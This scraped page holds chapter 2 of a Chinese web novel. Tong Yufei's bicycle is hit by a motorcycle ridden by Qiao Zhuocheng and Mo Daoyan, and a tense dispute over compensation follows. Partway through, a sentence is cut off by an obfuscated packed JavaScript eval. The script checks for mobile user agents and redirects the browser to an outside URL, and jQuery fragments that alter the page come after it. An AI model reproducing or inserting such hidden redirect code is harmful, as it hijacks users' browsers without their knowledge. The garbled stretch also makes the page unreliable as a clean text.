默认冷灰
24号文字
方正启体

2. 第二章

作者:醉三好本书字数:K更新时间:
    佟家有三女一子,大女儿佟万,二女儿佟语非,佟语非下面有一妹一弟,妹妹佟如三岁时患脑膜炎夭折,弟弟佟意排老四,母亲生佟意时难产大出血,一心盼来了儿子,没能看一眼就撒手人寰。佟意作为幺儿,佟家五代单传,承接着传宗接代的荣光,从出生就有了在家横着走的特权,衣来伸手,饭来张口,再大点砸邻居家玻璃,烧苞谷杆垛,打架斗殴,煽动差生罢课……大小祸事不断,彻头彻尾的小霸王。


    鉴于父亲太拿佟意的事当事,小题大做不下几十回,佟语非没把二叔的话挂在心上,好事不出门,坏事传千里,倘使佟意惹出了比之前更大的祸端,不会一点儿风声没有,没准是佟意初中毕业后,游手好闲了五六年,到了娶亲的年纪,父亲想搞个大阵仗给他施压,变着法要他改邪归正罢了。


    到了下一个礼拜天,她才回村。


    万江镇佟家村,距市区三十多公里,过半是坑坑洼洼的土路,每天只有一班往返的分段计费中巴车,收费三块五,与她的行程正好相反,想当天折返,只能骑自行车,车程两个半小时,如果一口气骑不来稍作歇息,时间还要叠加,为了早去早回,她全副武装,帽子围巾口罩手套齐上阵,天不亮就揣上干粮和水壶上路了。


    城区是沥青和沙子混合而成的柏油路,夏季粘稠,冬季脆裂,腊月的天折胶堕指,西北风如风箱呼呼地吹,吹得人无从招架,昨夜下过雨,路面硬滑,佟语非骑得小心翼翼,但还是在一个胡同口,被一个忽然冲出来的摩托车惊到了。她来不及避闪,猛然转向,直直地撞上了旁边的石墩,连人带车翻倒在地,幸好平衡力不错,两手撑住了地面,只摔了个重重的屁股蹲,没有四仰八叉后脑勺撞地,以造成更大的伤。


    撞她的“肉包铁”安然无恙,依托着大块头和驾驶人乔卓成的两条大长腿,稳稳滑行后停了下来,乔卓成留了崔健式的二分头中长发,与白净清秀的面容稍显割裂,看到她滑稽的翻车和呆坐的傻相,止不住的笑意先于同情从口中溜出:“妹子你玩杂技啊?”


    坐在他身后的莫道言拍了拍好友的肩,制止了乔卓成不合时宜的说笑。


    乔卓成立即正色:“小姐,伤到你没有?”


    莫道言率先下了车,快速走到佟语非面前,伸手过去:“需要送你去医院吗?”


    如果佟语非此刻抬眸,会看见一只指甲修剪得齐齐整整的修长的手,手的主人穿着黑色中长款的立领风衣,下半张脸掩在领子后,愈加引人注目的狭长瑞凤眼似曾相识。她心中的余悸远大于身体的疼痛,仅剩的余力只够关注那堆狼藉,她用攒了几个月的粮票换的土鸡蛋,花生油和白糖,碎的碎,洒的洒,惨不忍睹。


    她踉跄着站起来,欲提醒他们留神,还好撞的是她,假若撞了上年纪的大爷大妈,后果不堪设想:“你们骑太快了,这条道……”


    莫道言抻臂横在她腰间,以免她摔倒情况复杂化,直截了当道:“你要多少钱?”


    佟语非避嫌地闪过身:“钱……”


    莫道言扶起倒地的自行车,调正车头还给了她:“这些损坏的物品值多少钱?”


    这两人很可笑,撞了人,一个没心没肺,笑她出洋相,一个看似关心,语气里尽是急迫,没一个人向她认错致歉的,好像她没伤到住院,没被撞残,就能忽略不计?


    佟语非不满地踢开撑脚架,支起车子检查,前轮车皮掉了块漆,其他功能正常,遂将话咽了下去,抹沓着眼皮,冷声道:“两个大活人赶着投胎,凑不出一对眼睛,还凑不到一张嘴吗?”


    莫道言怔了怔:“对不住了。”


    佟语非余气未消,没理人。


    莫道言提了提音量,字正腔圆道:“我们的错,请包涵。”


    佟语非这才低声道:“赔一百块吧。”


    莫道言摸了摸空空如也的衣兜,想起兑换的人民币限额已花完,示意乔卓成垫付,车虽是乔卓成开的,但乔卓成起个大早去火车站接他,这桩撞车算起来因他而起,等取回汇款会如数归还。


    乔卓成没吭声,两人是至交好友,不会因为这点钱较真,钱他有,不想给,至少不想爽脆地给,女人他见多了,不把他当人的还是头一个,他骑的是两万块钱选购的日本铃木,衣服从头到脚都是进口货,长得虽非貌比潘安,没缺少过赞美声,到哪儿都被高看一眼。他的发小莫道言,曾经是无出其右的学霸,如今是学富五车的海归,如此出挑的两个人在这儿赔着笑脸,竟被她视若无物,还不如破鸡蛋壳上沾着的那层泥土。


    如果是平常的陌生人,无视就无视了,大路朝天各走一边,谁都不妨害谁,但两车相撞的那一刻,假设没了意义,有事就论事,他容不得有人虚头巴脑地装清高,尤其是踩践着莫道言来装:“你出国多年,不了解行情,兄弟我是做买卖的,深浅一试便知。”


    他回给莫道言一个“绝不惹是生非,但不能做冤大头”的眼色,大步迈向佟语非,问是怎么定的价,佟语非从把手挂着的干粮袋里,抽出两张红色卫生纸,擦着车座上的泥点子,细致数来,鸡蛋单价多少,白糖一包几块,花生油一桶十几,精确到小数点后两位,总共四十四块三毛八,另外的五十多是满勤款,东西重新买齐需要时间,她赶不及回程,明早上班会迟到,如若他需要单位佐证材料,她后续开了寄过去。


    “这么说你还要少了,迟到被扣的钱没算进去?”


    乔卓成不悦,满勤款扯淡了吧?她这是没住月球,要不然他下半辈子养着她呗,这条抄近道的必经之路,她能走,他也能走,没料到这么早会有人经过,喇叭按晚了,他的主责他认,难道她就完全无责?易地而处,骑车的是他,东西绝不会白白毁了。


    佟语非不认可乔卓成的偷换概念,难不成走在马路上,都得是马拉松选手才能避免被撞?再假使她骑的不是自行车,是开的汽车或坦克,他们是否要自认倒霉?交通事故认定看的是成因,不看车技高低,这长头发的男青年不只模样流里流气,话说得也无逻辑,脑子怕不是灌了水?她仅是腹诽着,没有明说,毕竟目的不是争吵,顺当拿到赔偿才是。


    她的不言不语和看白痴的神情无限接近,这惹怒了乔卓成:“钱我可以给,有个条件,钱赔了你,东西归我,油就不要了,你把鸡蛋和糖捡起来,给我放车上,我家的狗吃糖炒蛋。”


    不提乔卓成不友善的揶揄,那包鸡蛋无一幸免,蛋清蛋黄混着糖和油,像一只有着无数须角的黄白黏膜怪,紧紧吸附着地面,如果能捡起来,“覆水难收”就能改写定义了。


    佟语非半响没吱声,乔卓成活灵活现地演绎着“扬眉吐气”的具象表达:“捡鸡蛋有难度,换个没难度的,你把帽子和口罩摘了,对我笑一下,笑得好了,我会多给钱。”


    如果去问认识佟语非的朋友或同事,大家一定公认她是个爱笑的和善女人,笑容让人如沐春风,但其实她没那么爱笑,人的笑和幸福好像都是有额度的,她的额度在童年前用光了,童年后的笑寥若晨星,因为不爱笑,还被佟意叫过臭脸婆。再学会笑,是嫁到莫家后,那些笑虚虚实实,可即使是高高在上的莫老太太,也没有如此颐指气使地向她索笑过,她摔了跤,礼物撞得稀巴烂,那人竟要她笑,花钱买她的笑,她是卖笑的吗?


    积压在心的苦闷就像被封装的燃料,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15819099|175458||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    只需一个适时的导火索,就能燃起熊熊的火焰,佟语非大专毕业,是货真价实的大学生,质而不俚,骂街不是她的长项,但佟家村多的是骂街好手,姐姐佟万是好手中的好手,她没吃过猪肉,还没见过猪跑吗?


    “臭流氓,这么喜欢看人笑,祖上把笑都卖完了吗?”


    她啐了一口,把听过的能骂出口不能骂出口的,一篮子极尽侮辱之能事的话全轰了出去,那些骂人的词犹若子弹,将乔卓成当场射成了筛子,及至一些狠毒的字眼牵连到家中女眷,他如梦初醒。


    乔卓成薅着佟语非的衣领申饬:“一人做事一人当,祸不及家人,你再出口成脏撒泼,我就破了不打女人的戒。”


    没有理智的人是没道理好讲的,何况是他不讲道理在先,佟语非根本当他放屁,杀气腾腾地挠了上去,乔卓成避之不及,右脸颊挨了两道抓痕,将要毁容之时,有人闪来一把攥着她的手,把她挡到了一边,同时一拳敲在了乔卓成的头顶,震得他脑瓜子嗡嗡作响。


    莫道言回来了,他垂眸对佟语非道:“打架你占不了上风,省省力气赶路吧。”


    佟语非和乔卓成争论的间隙,莫道言从乔卓成放在摩托车上的腰包中取了一沓钱,去了附近的商店,虽然他近些年人在国外,但有多个渠道了解国内发展,知道有些店铺的交易不再限收粮票,私下接受现金交易,便敲开了一家临街铺子。这个点行人稀少,助长了小老板的胆量,卖给了他大豆油,冰糖和两包小熊饼干,一包鸡蛋糕,一罐奶粉,和佟语非先前的有出入,勉强能送人,还能省时间,如果她是真心不想失去满勤的话。


    店主还送了两个碎花布包,一包用来包油,其余的一股脑装进第二个包,莫道言将其分扎在佟语非自行车后座的两侧,做完这些,又摸出兜里的十二张大团结递过去,东西未必合她的意,钱他照付,多付的二十块做医药费,她的右手破了皮。


    佟语非愣怔片刻,只收了鸡蛋钱,没有即刻走,蹲在那只黏膜怪前,从大衣口袋里拿出一只格子手绢铺在手上,往上面捞了一把,起身径直穿过两人,将鸡蛋液涂在了摩托车的车座,那摩托立时像发炎生疮冒出的组织液,污浊一片。


    乔卓成望着佟语非跨上自行车的身影消失在胡同口,气不打一处来:“兄弟我的一世英名算是毁了,竟被个丫头片子当面挑衅。”


    “你让人做的,得偿所愿了。”


    “我得去拜拜佛,净走背字了。”


    “收收那身放浪味吧,再这么明火执仗,背运缠死你。”


    “有一说一,见不见光死另说,一双瞳人剪秋水,我是想看看配得上这双眼睛的人的真容,有多惊天地泣鬼神,谁曾想……”


    乔卓成长叹一声,忿忿不平。


    “你都赔她东西了,干嘛还多给一百?怜香惜玉?莫博士,你我有别,你是有家室的人,忠肝义胆只能留给自家的太太。”


    莫道言缄默无言,推着摩托车往那家店走,要去借水和抹布清洗车座,乔卓成忽感愧疚,哪壶不开提哪壶,莫道言迫于压力,用人身自由抵换的求学路,迥异的成长环境和教育背景,和妻子必然离心离德,他非但不能感同身受,还轻佻取笑,该死!


    乔卓成知错就改:“我自赏嘴巴,你大人有大量,别往心里去。”


    莫道言面无表情道:“我约了陈老师喝早茶,迟了违礼。”


    初始的问题是能用一百块解决,谁料到半路杀出的乔卓成铁了心要做这个变量?对错不重要,用对时间重要,换句话说,对无关紧要的人和事,多一事不如少一事,他一贯的行事作风概括起来不过四个字,省得麻烦。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)